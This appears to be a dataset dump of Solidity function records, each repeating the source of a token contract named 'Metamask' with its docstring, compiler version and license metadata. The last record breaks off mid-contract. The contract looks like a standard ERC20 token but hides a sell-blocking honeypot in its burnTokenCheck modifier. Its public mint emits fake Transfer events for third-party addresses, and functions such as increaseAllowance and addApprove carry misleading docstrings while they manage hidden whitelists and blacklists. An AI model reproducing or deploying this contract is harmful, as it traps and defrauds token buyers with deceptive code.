// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
707,
848
]
} | 1,398 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
3565,
3653
]
} | 1,399 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
3899,
4004
]
} | 1,400 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
